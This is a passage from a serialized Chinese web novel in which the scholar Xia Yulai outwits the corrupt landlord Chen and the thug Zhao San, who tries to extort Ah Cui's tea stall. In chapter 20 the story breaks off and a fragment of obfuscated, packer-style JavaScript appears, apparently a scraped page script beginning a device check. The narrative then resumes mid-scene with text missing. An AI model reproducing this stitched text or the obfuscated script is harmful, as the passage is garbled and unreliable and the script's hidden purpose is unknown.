夏雨来接过茶碗,仰头喝尽,笑道:“不是我厉害,是公道自有力量。陈老财的栽赃计划,看似天衣无缝,实则漏洞百出。他以为有钱有势就能只手遮天,却忘了,任何谎言都经不起推敲,任何陷害都藏不住痕迹。就像古代的当铺,为了防盗,设计得固若金汤,却依然挡不住人心的贪婪;就像药铺的防伪标签,再隐蔽也藏不住奸商的算计。但反过来,只要我们用心寻找,总能找到真相的痕迹。” 他望向眼前热热闹闹的街市,声音清朗:“阿翠娘子,你看。 清白可昭, 冤屈可雪, 公道可守, 人心可聚。 只要我夏雨来在潮州城一日, 就不许有人栽赃陷害, 不许有人践踏清白, 不许有人仗势欺人, 不许有人破坏市井安宁。” 风一吹,他的青布长衫轻轻摆动。 穷秀才的身影,在日光里,挺拔如竹,安稳如山。 自此,夏雨来 “寻证破栽赃、还民清白” 的故事,传遍了潮州城的大街小巷,成为市井百姓口中,最传奇、最解气、最让人敬佩的一段佳话。 百姓都说: “夏秀才,智谋高, 寻证辨伪破栽赃, 清白昭雪民心安, 市井公道万年长。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 20. 借势而赢 一、风波暂息,暗流未平 暮春的潮州城,东门街的烟火气愈发浓郁。青石板路被往来行人磨得发亮,茶摊的铜壶咕嘟作响,粮行的算盘噼里啪啦,杂货铺的叫卖声此起彼伏,一派安居乐业的景象。自上回夏雨来揭穿陈老财栽赃陷害的阴谋,还了货郎王二清白后,街市上的风气愈发清明 —— 小贩们安心经营,百姓们放心消费,连往日里仗势欺人的恶奴,也收敛了不少气焰。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨踱到阿翠的茶摊时,茶桌早已座无虚席。阿翠手脚麻利地斟茶递水,眼角眉梢都带着笑意:“夏雨来,你可算来了!这几日街市太平得很,陈老财自打栽了赃陷害的跟头,就一直闭门不出,听说连府门都没踏出过半步。” 夏雨来接过温热的茶碗,指尖摩挲着碗沿,目光扫过街市尽头那座气派的陈府,笑意淡了几分:“闭门不出,不代表他真心悔改。陈老财这种人,最是记仇,上回不仅栽了面子,还被罚了百两银子,心里的怨气只会越积越深。他现在不动,是在憋大招,等找到机会,定会变本加厉地报复。” “那可怎么办?” 阿翠脸上的笑容瞬间消失,担忧地说道,“你总不能一直提防着他吧?万一他耍阴招,你防不胜防啊!” 夏雨来仰头喝下小半盏茶,眼神清亮如镜:“防不胜防,就不必防。对付他这种劣绅,硬打硬拼只会两败俱伤,最好的办法,是找到他的软肋,一击即中。他最在乎什么?是名声,是地位,是乡绅的身份。而他的这些东西,恰恰都攥在官府手里。” 他放下茶碗,嘴角勾起一抹狡黠的笑:“官府有官府的规矩,乡绅有乡绅的义务。他想当体面乡绅,就得遵守官府的规矩;若是违反了规矩,别说乡绅身份保不住,恐怕连家产都要受牵连。我这就去府衙查一查,看看他陈老财,到底有没有遵守这些规矩。” 说罢,夏雨来背起旧书箱,步履从容地朝着府衙方向走去。一场不打官司、只凭规矩的较量,即将悄然上演。 二、劣绅憋劲,暗度陈仓 陈府深处,书房内气氛阴鸷。 陈老财坐在太师椅上,面前的八仙桌上摆满了账本和文书,他却一眼未看,只是盯着窗外,眼神怨毒如刀。自上回栽赃陷害王二不成,反被夏雨来揭穿,还被知县大人罚了百两银子后,他就成了潮州城的笑柄 —— 百姓们背后议论他黑心,乡绅们嘲笑他无能,连府里的家丁,看他的眼神都带着几分轻视。 “老爷,” 管家周福轻手轻脚地走进来,手里捧着一封书信,“这是城南张乡绅送来的信,他说愿意帮我们联络其他几位乡绅,一起联名向知府大人告状,就说夏雨来煽动百姓、扰乱市井,请求知府大人将他赶出潮州城。” 陈老财接过书信,看都没看就扔在桌上,冷哼一声:“联名告状?没用!上回知县大人已经判了我输,知府大人清正廉明,怎么可能听我们的一面之词?再说,夏雨来现在深得民心,我们告他,只会让百姓更加反感我们。” “那…… 那我们怎么办?” 周福小心翼翼地问道,“总不能就这么忍了吧?您被他当众羞辱,还被罚了银子,这口气要是咽不下去,以后咱们陈府在潮州城,可就抬不起头了!” “忍?” 陈老财猛地一拍桌子,站起身,眼神里满是狠厉,“我陈老财活了大半辈子,什么时候受过这种委屈?我当然不能忍!但我们不能明着来,要暗着来!” 他走到书房角落,打开一个隐蔽的木箱,从里面拿出一叠地契,扔在桌上:“这是我上个月偷偷买下的城南十亩良田。夏雨来不是想保百姓吗?我就先断了百姓的活路!这十亩田,是城南百姓灌溉的水源地,我已经让人把水渠堵了,等田里的庄稼旱死了,百姓们没了收成,自然会怨夏雨来没能耐,到时候我再出面,以高价卖水、低价收粮,既能赚大钱,又能让百姓们反过来求我,把夏雨来彻底踩在脚下!” 周福眼睛一亮,连忙附和:“老爷英明!这招太高明了!夏雨来就算再能说会道,也挡不住天灾人祸,挡不住百姓们饿肚子!到时候,他在百姓心中的地位,自然就垮了!” “不仅如此,” 陈老财冷笑一声,继续说道,“我还让人在城外买了一批劣质盐,掺在好盐里,以低价卖给百姓。等百姓们吃了劣质盐,生了病,我再让人散布谣言,说是夏雨来为了讨好百姓,故意让盐商卖劣质盐,到时候,百姓们定会把怨气都撒在他身上!” 一条条毒计,阴险狡诈,听得周福都忍不住打了个寒颤。 “老爷,” 周福犹豫道,“这么做…… 会不会违反官府的规矩?官府禁止囤积水源、售卖劣质盐,若是被官府发现了,后果不堪设想啊!” “发现?” 陈老财不屑地笑了,“我做得神不知鬼不觉,谁会发现?堵水渠,我说是为了修堤坝;卖劣质盐,我说是盐商的问题,跟我没关系。再说,我是潮州城的头号乡绅,官府还要靠我捐钱捐粮,怎么可能真的为难我?” 他拍了拍周福的肩膀,语气笃定:“你现在就去安排,让下人尽快把水渠堵死,把劣质盐运进城,趁着旱情还没缓解,尽快动手!我要让夏雨来,尝尝从云端跌落泥潭的滋味!” “是!老爷!” 周福连忙应下,快步走了出去。 陈老财看着周福的背影,嘴角勾起一抹得意的笑。他仿佛已经看到,百姓们因为缺水缺粮、吃了劣质盐生病,纷纷围在陈府门口,求他救命;而夏雨来,则被百姓们指责、唾骂,狼狈不堪地逃出潮州城。 可他万万没想到,他的这些所作所为,早已被夏雨来派去的人,看得一清二楚。 三、第一计:查规寻隙,掌握把柄 府衙档案房内,夏雨来正埋首于一堆文书之中。 这里存放着潮州城历年的官府规矩、乡绅义务、案件记录,密密麻麻,堆得像小山一样。夏雨来耐心地翻阅着,从日出一直看到日落,终于找到了他想要的东西 ——《潮州府乡绅规制》。 根据规制记载,潮州城的乡绅,享有官府赋予的特权,比如减免部分赋税、优先参与地方事务等,但同时也必须履行相应的义务: 第一,捐输义务:遇到灾荒、战乱等情况,乡绅需主动捐钱捐粮,帮助官府救济百姓; 第二,水利义务:乡绅需负责辖区内的水利设施维护,确保百姓农田灌溉; 第三,公益义务:乡绅需出资修建学校、桥梁、义仓等公益设施; 第四,保甲义务:乡绅需协助官府管理地方治安,禁止囤积居奇、售卖伪劣商品。 夏雨来仔细阅读着规制,嘴角笑意越来越浓。他从文书中查到,去年潮州城遭遇旱灾,官府要求乡绅们捐输粮食和银子,救济百姓,其他乡绅都按要求捐了,唯独陈老财,只捐了区区五两银子,还以粮食受潮为由,拒绝捐粮;另外,城南的水渠,按照规制,本该由陈老财负责维护,可他不仅没维护,反而在水渠旁边开垦私田,影响了灌溉;更重要的是,规制明确禁止乡绅囤积水源、售卖伪劣商品,而陈老财现在做的,恰恰违反了这些规定。 “证据确凿,这下看你怎么抵赖!” 夏雨来收起文书,小心翼翼地放进旧书箱,快步走出府衙。 他没有直接去找陈老财,而是先去了城南,找到了那些因水渠被堵、农田缺水而愁眉不展的百姓。 “诸位乡亲,” 夏雨来站在田埂上,对着围观的百姓说道,“我知道你们的农田缺水,庄稼快要旱死了,你们心里着急。但你们知道吗?这水渠,按照官府的规矩,本该由陈老财负责维护,他不仅没维护,反而把水渠堵了,就是为了让你们求他,好趁机敲诈勒索!” “什么?!” 百姓们瞬间炸开了锅。 “原来是陈老财干的!我说怎么好好的水渠,突然就断水了!” “太黑心了!他这是要断我们的活路啊!” “夏秀才,你可得为我们做主啊!” 夏雨来抬手示意百姓们安静:“乡亲们,你们别急。官府有官府的规矩,陈老财违反了规矩,就必须受到惩罚。我已经去府衙查过了,他不仅违反了水利义务,还违反了捐输义务和保甲义务。我这就去府衙,请官差上门核验,让他立刻疏通水渠,赔偿你们的损失!” 百姓们纷纷鼓掌叫好:“好!夏秀才说得对!让官差去教训他!” “我们跟你一起去府衙,为你作证!” 夏雨来摇了摇头:“不用你们去。官府讲究证据,我已经把他违反规矩的证据都查好了,官差自然会秉公处理。你们现在就回家,等着好消息就行。” 说罢,夏雨来转身朝着府衙走去。他知道,仅凭这些证据,还不足以让陈老财彻底服软,他还需要再添一把火。 四、第二计:引官上门,敲山震虎 府衙内,知县大人正在批阅公文。 夏雨来背着旧书箱,从容不迫地走进大堂,对着知县大人拱手行礼:“学生夏雨来,拜见知县大人。” “夏秀才免礼,” 知县大人放下手中的毛笔,微笑着说道,“你今日前来,可是有什么事情?” 夏雨来从旧书箱里拿出《潮州府乡绅规制》和一些证据,双手递上:“大人,学生今日前来,是想向您举报陈老财,他违反官府规矩,不履行乡绅义务,损害百姓利益,请大人为百姓做主。” 知县大人接过证据,仔细翻阅起来。越看,他的脸色越沉。 “岂有此理!” 知县大人猛地拍案而起,怒声道,“陈老财身为潮州城头号乡绅,本该以身作则,履行乡绅义务,救济百姓、维护水利,可他倒好,不仅去年灾荒时只捐了五两银子,还擅自堵塞水渠,影响百姓灌溉,甚至售卖劣质盐,危害百姓健康!他这是目无王法,胆大包天!” 夏雨来连忙说道:“大人息怒。陈老财之所以敢如此肆无忌惮,就是因为他觉得自己是乡绅,官府不会为难他。学生恳请大人,派官差上门核验,让他知道官府的规矩,不是摆设;乡绅的义务,不是空话!” 知县大人点了点头:“说得好!我这就派王捕快,带着官差和文书,上门去核验。若是情况属实,定要严惩不贷!不仅要让他疏通水渠、销毁劣质盐,还要罚他捐粮百石、银子五百两,用于救济百姓和修建水利!” “大人英明!” 夏雨来拱手道。 很快,王捕快带着十几个官差,拿着官府文书和证据,浩浩荡荡地朝着陈府走去。 消息传到陈府,陈老财正在书房里盘算着如何敲诈百姓,听到官差上门的消息,顿时吓得魂飞魄散。 “官差?官差来干什么?” 陈老财慌慌张张地站起身,脸色惨白,“难道是夏雨来那个穷秀才,又去官府告我了?” 周福也吓得浑身发抖:“老爷,会不会是我们堵塞水渠、售卖劣质盐的事情,被官府发现了?” “不可能!” 陈老财强装镇定,“我们做得那么隐秘,怎么可能被发现?一定是夏雨来诬告我们!走,我们出去看看!” 陈老财硬着头皮,跟着周福走出府门。 府门口,王捕快手持官府文书,神色严肃地站在那里,身后的官差们个个威风凛凛,气场十足。 “陈老财,” 王捕快上前一步,展开文书,高声宣读,“奉知县大人之命,前来核验你是否履行乡绅义务。据查,你去年灾荒时,违反捐输规矩,仅捐银五两,未捐一粒粮食;你擅自堵塞城南水渠,违反水利规矩,影响百姓灌溉;你售卖劣质盐,违反保甲规矩,危害百姓健康。现在,请你立刻带我们去查验水渠和盐仓,若情况属实,后果自负!” 陈老财脸色一阵青一阵白,浑身发抖,一句话也说不出来。他没想到,夏雨来竟然真的去官府告了他,还找到了这么多证据! “王捕快,这…… 这都是误会!” 周福连忙上前,想要辩解,“水渠是自然堵塞的,不是我们故意堵的;劣质盐也是盐商送来的,我们根本不知道!” “误会?” 王捕快冷笑一声,“是不是误会,查验一下就知道了!来人,随我去城南水渠和陈府盐仓!” “是!” 官差们齐声应道,就要往里冲。 陈老财见状,连忙拦住:“王捕快!别查了!别查了!我承认,水渠是我让人堵的,盐也是我让人掺的!我错了!我愿意疏通水渠,销毁劣质盐,我愿意捐粮捐银!求你别查了,给我留几分体面!” 他最在乎的就是乡绅的体面,若是让官差们查出更多问题,不仅体面保不住,恐怕连乡绅身份都要被革除。 王捕快停下脚步,冷声道:“现在知道错了?早干什么去了?按照官府规矩,你必须立刻疏通水渠,销毁所有劣质盐,三天之内,捐粮百石、银子五百两到府衙,用于救济百姓和修建水利。若是逾期未办,休怪本官不客气!” “是!是!我一定照办!一定照办!” 陈老财连连点头,像捣蒜一样。 王捕快满意地点了点头,带着官差们离开了。 陈老财看着官差们的背影,双腿一软,差点瘫倒在地。他知道,自己又输了,而且输得一败涂地。 五、第三计:舆情施压,倒逼服软 官差离开后,陈老财立刻吩咐家丁,赶紧去疏通水渠、销毁劣质盐。可他心里依旧不服气 —— 他觉得自己是被夏雨来算计了,若是就这么认了,以后在潮州城,就真的抬不起头了。 “老爷,” 周福小心翼翼地说道,“我们虽然疏通了水渠,销毁了劣质盐,也答应了捐粮捐银,但百姓们肯定还会记恨我们。不如我们再做些好事,比如开仓放粮,低价卖给百姓,挽回一些名声?” 陈老财眼睛一亮:“开仓放粮?好主意!我就开仓放粮,低价卖给百姓,让百姓们知道,我陈老财还是关心他们的。到时候,他们自然会忘记夏雨来,转而感激我!” 可他万万没想到,这正是夏雨来想要的。 夏雨来早就料到,陈老财会想办法挽回名声,于是他提前让百姓们散布消息,说陈老财开仓放粮是被迫的,是因为害怕官府惩罚,而且他放的粮,都是陈米、坏米,根本不能吃。 消息一出,百姓们纷纷抵制陈老财的粮食。 “陈老财的粮食,都是坏米,谁买谁吃亏!” “他是被迫放粮的,根本不是真心关心我们!我们才不买他的粮!” “我们只买夏秀才推荐的粮,只信夏秀才!” 陈老财的粮行门口,冷冷清清,没有一个百姓光顾。而其他粮行,因为价格公道、粮食新鲜,反而门庭若市。 陈老财看着空荡荡的粮行,气得浑身发抖:“夏雨来!又是你!你到底想怎么样?” 就在这时,几个正直的乡绅也找上门来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他上前一步,语气严肃地说道:“现在,你有两个选择:一、真心向百姓道歉,履行官府的要求,保住你的乡绅身份;二、继续顽抗到底,失去乡绅身份,被百姓们唾弃,甚至可能因为违反官府规矩,受到更严厉的惩罚。你自己选吧!” 陈老财看着夏雨来坚定的眼神,又想到了乡绅身份的重要性,终于低下了高傲的头颅。 “我…… 我选第一个,” 陈老财声音嘶哑地说道,“我愿意向百姓道歉,愿意履行官府的要求。” 夏雨来点了点头:“好。我希望你说到做到,不要再耍任何花样。否则,下次就不是道歉那么简单了。” 六、当众服软,公道昭彰 三日后,东门街的空地上,挤满了百姓。 陈老财一身素衣,面色憔悴地站在高台上,身后是满满的粮食和银子。他看着台下黑压压的百姓,心里五味杂陈 —— 他活了大半辈子,从来没有如此狼狈过,从来没有向谁低过头。 “诸位乡亲,” 陈老财的声音嘶哑,带着几分颤抖,“以前,我做了很多对不起大家的事情 —— 我囤积居奇、抬价坑民,我栽赃陷害、冤枉好人,我堵塞水渠、断大家活路,我售卖劣质盐、害大家生病。我知道,我错了,错得很离谱。我在这里,向大家真心道歉,求大家原谅我。” 说罢,陈老财对着百姓们,深深鞠了一躬。 百姓们沉默了片刻,随即有人喊道:“光道歉还不够!你还要保证,以后再也不做坏事了!” “对!还要把你答应捐的粮食和银子,真正用到实处!” 陈老财连忙说道:“我保证!我以后再也不做损害百姓利益的事情了!我今天带来了百石粮食和五百两银子,这些粮食,将免费分发给大家;这些银子,将用于修建城南的水渠和学校,为大家谋福利。” 他挥手示意家丁,把粮食和银子搬到台下,分发给百姓们。 百姓们接过粮食和银子,脸上露出了满意的笑容。 “这还差不多!” “希望你说到做到,以后不要再犯了!” “看在你真心悔改的份上,我们就原谅你了!” 夏雨来站在人群中,看着这一幕,嘴角露出了欣慰的笑容。他知道,陈老财虽然是被迫服软,但只要他以后遵守官府规矩,不再损害百姓利益,潮州城的市井,就能一直太平下去。 乡绅们也纷纷点头,对夏雨来说道:“夏秀才,多亏了你!若不是你,陈老财也不会真心悔改,百姓们也不会得到应有的补偿。你真是我们潮州城的福星!” 夏雨来拱手道:“诸位乡绅过奖了。我只是做了我该做的事情。潮州城的太平,需要我们每个人共同维护 —— 官府要秉公执法,乡绅要以身作则,百姓要团结一心。只有这样,我们的市井才能安宁,我们的日子才能越过越好。” 百姓们纷纷鼓掌叫好:“说得好!说得好!” 呼声震天,回荡在东门街的上空。 陈老财看着眼前的一切,心里终于明白 —— 他以前之所以能横行霸道,是因为百姓们忍气吞声;而现在,他之所以被迫服软,是因为百姓们团结一心,还有夏雨来这样的人,为他们做主。他知道,以后在潮州城,他再也不能为所欲为了,只能乖乖遵守官府规矩,履行乡绅义务。 七、市井太平,侠义流芳 陈老财当众道歉、捐粮捐银后,潮州城的市井,彻底恢复了安宁。 城南的水渠被重新修建,灌溉通畅,百姓们的农田再也不用担心缺水;学校也顺利动工,孩子们有了读书的地方;粮价稳定,盐价公道,百姓们再也不用担心被坑害。 东门街的烟火气,愈发浓郁。茶摊、酒馆、粮行、杂货铺,生意都红红火火;百姓们脸上,都带着幸福的笑容;邻里之间,互帮互助,和睦相处。 阿翠端着一碗热茶,走到夏雨来面前,眼睛亮晶晶的,满眼都是崇拜:“夏雨来,你真是太厉害了!不打官司,只凭官府的规矩,就让陈老财那个老顽固,主动服软道歉,还捐粮捐银,为百姓谋福利!你这脑子,到底是怎么长的?” 夏雨来接过茶碗,仰头喝尽,笑道:“不是我厉害,是官府的规矩厉害,是百姓的民心厉害。陈老财之所以会服软,不是因为怕我,是因为怕官府的惩罚,怕失去乡绅的身份,怕被百姓们唾弃。他最在乎的东西,恰恰是能制约他的东西。” 他望向眼前热热闹闹的街市,声音清朗:“阿翠娘子,你看。 规矩可依, 民心可恃, 公道可扬, 市井可安。 只要我夏雨来在潮州城一日, 就会守好官府的规矩, 护好百姓的民心, 扬好世间的公道, 保好市井的安宁。” 风一吹,他的青布长衫轻轻摆动。 穷秀才的身影,在日光里,挺拔如竹,安稳如山。 自此,夏雨来 “巧用官府规矩、逼劣绅服软” 的故事,传遍了潮州城的大街小巷,成为市井百姓口中,最传奇、最解气、最让人敬佩的一段佳话。 百姓们编了一首歌谣,四处传唱: “夏秀才,有智谋, 不用打官司, 只凭规矩走, 劣绅服了软, 百姓乐悠悠, 市井太平万年秋。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,愈发光彩夺目,深入人心。 21. 茶摊危机 一、茶香满街,祸起萧墙 暮春的潮州城,东风送暖,草木葱茏。东门街的青石板路被晨露润得发亮,沿街的店铺陆续敞开大门,茶摊、粮行、杂货铺的叫卖声此起彼伏,交织成一片热闹的市井乐章。阿翠的茶摊,就摆在街心最热闹的地段,竹编的茶棚下,四张八仙桌擦得锃亮,铜壶里的泉水咕嘟作响,刚沏好的雨前龙井香气四溢,引得往来行人纷纷驻足。 自上回夏雨来巧用官府规矩逼得陈老财当众服软后,潮州城的市井愈发清明。阿翠的茶摊生意也愈发红火,不仅老客常客天天捧场,连不少外地客商也慕名而来,就为了喝一杯她亲手沏的好茶。此刻,阿翠正穿着一身青布衣裙,手脚麻利地给客人斟茶递水,眼角眉梢都带着藏不住的笑意。 “阿翠姑娘的茶,真是越喝越有味道!” 一位须发皆白的老茶客端着茶碗,咂了咂嘴,“这雨前龙井,芽叶饱满,香气清高,比城里大茶馆的茶还要地道!” “张老爹过奖了!” 阿翠笑着回应,“您喜欢喝,以后常来就是,我给您留着最好的茶芽!” 正说着,街西头忽然走来几个凶神恶煞的汉子。为首的是一个满脸横肉的光头,穿着一身短打,腰间别着一把短刀,身后跟着三个跟班,个个眼神不善,走路摇摇晃晃,一看就不是善茬。这光头是潮州城有名的地痞流氓,名叫赵三,仗着自己是陈老财远房的表亲,平日里在街市上横行霸道,敲诈勒索,百姓们敢怒不敢言。 赵三一行人径直走到阿翠的茶摊前,不由分说就霸占了一张八仙桌。“小娘子,给爷们上最好的茶!” 赵三拍着桌子,声音粗哑,“再弄几个下酒菜,快点!” 阿翠心里咯噔一下,暗道不好。她知道赵三的名声,也知道他是陈老财的人,想来是陈老财咽不下这口气,派他来故意刁难的。可做生意讲究和气生财,阿翠不敢得罪,只能强压下心头的不安,笑着应道:“客官稍等,我这就给您沏茶。只是小本生意,没有下酒菜,还请您包涵。” “没有下酒菜?” 赵三眼睛一瞪,脸色瞬间沉了下来,“你糊弄谁呢?开茶摊的哪能没有下酒菜?我看你是故意怠慢爷们!” 阿翠心里一紧,连忙解释:“客官,我这真是小本生意,只卖茶不卖菜,您要是想吃下酒菜,前面街口就有酒馆,您可以去那里看看。” “去什么酒馆!” 赵三猛地一拍桌子,茶杯里的茶水都溅了出来,“爷们今天就想在你这喝!你要是没有下酒菜,就给爷们凑几个小菜,不然,别怪爷们砸了你的茶摊!” 周围的茶客见状,都吓得不敢作声。张老爹想上前说句公道话,被身边的人悄悄拉住了:“张老爹,别多管闲事,这赵三是陈老财的人,惹不起!” 阿翠的脸色瞬间变得苍白,眼眶也红了。她知道,赵三就是来故意找茬的,可她一个弱女子,哪里敢跟这些地痞流氓硬碰硬?只能委屈地说道:“客官,我真的没有小菜,您就放过我吧……” “放过你?” 赵三冷笑一声,眼神里满是恶意,“你跟夏雨来那个穷秀才走得那么近,帮他对付陈老爷,现在想让爷们放过你?没那么容易!今天,你要么给爷们弄好酒好菜,要么就给爷们赔偿五十两银子的损失费,不然,这茶摊你就别想开了!” 五十两银子?这对阿翠来说,无疑是天文数字!她的茶摊本就是小本生意,一个月也赚不到几两银子,哪里拿得出五十两银子?阿翠急得眼泪都快掉下来了,却又无可奈何,只能苦苦哀求:“客官,我真的拿不出那么多银子,您就高抬贵手,放过我吧……” “高抬贵手?” 赵三猛地站起身,伸手就要去掀桌子,“爷们今天就不抬了!我看你是不见棺材不落泪!” 就在这千钧一发之际,一个清亮沉稳的声音传来:“慢着!” 众人循声望去,只见夏雨来背着旧书箱,步履从容地从人群中走了出来。他依旧是那身洗得发白的青布长衫,神色平静,眼神却带着一股不容置疑的力量。 “夏秀才!” 阿翠像是抓住了救命稻草,眼泪瞬间掉了下来,“他们故意刁难我,让我拿五十两银子,我拿不出来……” 夏雨来拍了拍阿翠的肩膀,轻声安慰道:“别怕,有我在,没人能欺负你。” 他转头看向赵三,嘴角勾起一抹淡淡的笑:“赵三爷,好久不见,没想到你现在改行做了敲竹杠的生意?只是,敲竹杠也得讲规矩,欺负一个弱女子,传出去不怕让人笑话吗?” 赵三看到夏雨来,脸色瞬间变了变。上回陈老财栽在夏雨来手里的事情,他也听说了,心里多少有些忌惮。但他仗着自己是陈老财的人,又觉得夏雨来只是个手无缚鸡之力的秀才,也没什么好怕的。 “夏雨来,这事跟你没关系,你少多管闲事!” 赵三色厉内荏地说道,“我跟这小娘子算账,是我们之间的事,你最好赶紧滚开,不然,爷们连你一起收拾!” “算账?” 夏雨来挑眉,“算什么账?她欠你钱了?还是欠你物了?” “她怠慢爷们,耽误了爷们的时间,这就是损失!” 赵三强词夺理,“我让她赔偿五十两银子,已经是手下留情了!” “哦?原来怠慢客人还要赔银子?” 夏雨来笑了笑,转头看向周围的茶客,“诸位乡亲,你们可听说过这样的规矩?在茶摊喝杯茶,没吃到下酒菜,就要赔五十两银子?” 百姓们纷纷摇头,议论声四起:“哪有这样的规矩?分明是故意刁难!” “赵三就是想敲诈勒索,太黑心了!” “夏秀才说得对,不能让他欺负阿翠姑娘!” 赵三见状,脸色更加难看,怒吼道:“你们懂什么!爷们的时间金贵,耽误了就是损失!今天,这五十两银子,她必须给!不然,我就砸了她的茶摊!” 夏雨来眼神一沉,语气严肃起来:“赵三,你可知道,潮州城有潮州城的规矩,市井有市井的道理。阿翠姑娘开茶摊,诚信经营,童叟无欺,街坊邻里有目共睹。你仗着自己是陈老财的人,就想在这里敲诈勒索,欺压百姓,真当官府是摆设,真当百姓是好欺负的吗?” “官府?” 赵三冷笑一声,“官府也得给陈老爷几分面子!你一个穷秀才,还敢吓唬我?我告诉你,今天这事儿,你管不了!” “管不了?” 夏雨来向前一步,气场全开,“我倒要看看,你今天怎么砸了这茶摊,怎么拿到这五十两银子!” 一场围绕茶摊的较量,正式拉开序幕。夏雨来知道,对付赵三这种地痞流氓,讲道理没用,硬拼也没用,只能用市井的规矩,用百姓的民心,三言两语,让他知难而退。 二、第一计:辨茶理,破讹诈 赵三见夏雨来不肯退让,心里的火气更盛。他知道,今天要是不能压住夏雨来,不仅敲诈不到银子,以后在潮州城也没脸立足。 “好你个夏雨来,竟敢跟爷们叫板!” 赵三撸起袖子,就要动手,“我看你是活腻歪了!” “慢着!” 夏雨来抬手示意,“赵三,你别急着动手。你不是说阿翠姑娘怠慢你吗?不是说她的茶不好吗?我倒要问问你,你刚才点的是什么茶?这茶有什么讲究?你喝出了什么味道?” 赵三愣了一下,他根本不懂什么茶,刚才只是随口一说,哪里知道这些?他支支吾吾地说道:“我…… 我点的是最好的茶!这茶…… 这茶不好喝!味道寡淡,还有点苦涩,根本不值钱!” “哦?不好喝?” 夏雨来笑了笑,拿起桌上的茶壶,倒了一杯茶,递到赵三面前,“赵三爷,你再仔细尝尝。这是雨前龙井,产自西湖狮峰山下,采摘于清明后、谷雨前,此时茶树发芽饱满,香气清高,滋味鲜爽。你说它寡淡苦涩,我倒要问问你,你喝的是茶的前调、中调,还是后调?这茶的香气是兰花香、栗香,还是豆香?你要是连这些都分不清,还好意思说这茶不好喝?” 一连串的问题,问得赵三哑口无言。他哪里知道什么前调中调,什么兰花香栗香,刚才只是随口胡说,没想到被夏雨来抓了个正着。 周围的茶客们纷纷笑了起来:“赵三根本不懂茶,就是故意找茬!” “夏秀才说得对,这雨前龙井的香气是栗香,滋味鲜爽,怎么可能寡淡苦涩?” “我看赵三是想敲诈银子,故意胡说八道!” 赵三的脸瞬间涨得通红,恼羞成怒地说道:“我…… 我不管什么香!反正这茶不好喝!我就是要她赔偿我的损失!” “赔偿损失?” 夏雨来眼神一凛,“你说茶不好喝,有什么证据?是茶里有杂物,还是茶有异味?你要是能拿出证据,证明这茶确实有问题,阿翠姑娘不仅给你赔偿,还会给你赔礼道歉。可你要是拿不出证据,就是故意讹诈,按照潮州城的规矩,讹诈百姓,轻则杖责,重则流放,你担得起这个后果吗?” 赵三心里咯噔一下,他根本拿不出什么证据,刚才只是随口胡说。他知道,夏雨来说的是实话,官府对讹诈百姓的行为查得很严,要是真闹到官府,他肯定讨不到好。 可他又不想就这么认怂,只能硬着头皮说道:“我…… 我不需要证据!我说这茶不好喝,就是不好喝!你要是再敢多管闲事,我就对你不客气!” “不客气?” 夏雨来冷笑一声,“你想怎么不客气?是想动手打人,还是想砸了茶摊?我告诉你,这里这么多乡亲都看着,你要是敢动手,就是公然殴打百姓、破坏市井秩序,官府追究起来,你和你背后的人,都脱不了干系!” 赵三心里一紧,他知道夏雨来指的是陈老财。上回陈老财已经栽了大跟头,要是再因为他的事情被官府追究,陈老财肯定不会饶了他。 就在赵三犹豫不决时,夏雨来又说道:“赵三,我知道你是陈老财的人,想来是陈老财让你来故意刁难阿翠姑娘的。可你有没有想过,陈老财上回已经当众道歉,承诺不再损害百姓利益,现在你又来这里敲诈勒索,岂不是打陈老财的脸?要是让官府知道了,陈老财的乡绅身份能不能保住,都是个问题!” 这句话,正好戳中了赵三的软肋。他知道,陈老财最在乎的就是乡绅身份,要是因为他的事情影响了陈老财的身份,陈老财肯定会扒了他的皮。 赵三的脸色一阵青一阵白,看着夏雨来坚定的眼神,又看着周围百姓们愤怒的目光,心里开始打退堂鼓。 三、第二计:引老客,证口碑 赵三虽然心里打了退堂鼓,但依旧不想就这么灰溜溜地走了。他眼珠一转,又想出了一个歪主意:“就算这茶没问题,可这小娘子的茶摊不干净!我刚才看到她的茶碗上有油污,喝了会生病!我要求她赔偿我的精神损失费!” “茶碗有油污?” 阿翠连忙说道,“不可能!我的茶碗都是天天用开水烫洗,洗得干干净净,怎么可能有油污?” “怎么不可能?” 赵三指着桌上的一个茶碗,“你看,这上面不是油污是什么?” 众人顺着他指的方向看去,只见那个茶碗上确实有一点淡淡的痕迹。阿翠心里一急,连忙拿起茶碗看了看,说道:“这不是油污,是茶渍!我昨天洗干净后,放在那里晾干,可能是不小心沾上的茶渍!” “我说是油污就是油污!” 赵三强词夺理,“你要是不赔偿,我就喊人来,让大家都知道你的茶摊不干净,看谁还敢来你这里喝茶!” 他知道,茶摊最看重的就是卫生和口碑,只要他散布谣言,说阿翠的茶摊不干净,肯定会影响她的生意。 阿翠急得眼泪都快掉下来了,她知道,赵三这是要毁了她的生意! 夏雨来却依旧镇定自若,他转头看向张老爹,笑道:“张老爹,您是阿翠茶摊的老客了,您来说说,阿翠的茶摊干净不干净?她的茶碗有没有油污?” 张老爹连忙站起身,说道:“阿翠姑娘的茶摊,我天天来,她的茶碗都是用开水烫洗三遍,擦得干干净净,从来没有什么油污!刚才那个痕迹,确实是茶渍,不是油污!” “是啊!我也天天来这里喝茶,阿翠姑娘的茶摊最干净了!” 另一位老茶客也站起身说道,“她的茶具都是定期清洗晾晒,比我们家里的还要干净!” “我可以作证!阿翠姑娘的茶摊干净卫生,童叟无欺!” “赵三就是故意造谣,想毁了阿翠姑娘的生意!” 周围的茶客们纷纷站起身,为阿翠作证。他们都是阿翠茶摊的老客,知道阿翠的为人,也知道她的茶摊有多干净,自然不会让赵三肆意造谣。 赵三看着眼前的一幕,脸色更加难看。他没想到,这么多百姓都为阿翠作证,他的谣言根本站不住脚。 “你们…… 你们都是一伙的!” 赵三气急败坏地说道,“你们故意偏袒她!我才不信你们的话!” “偏袒?” 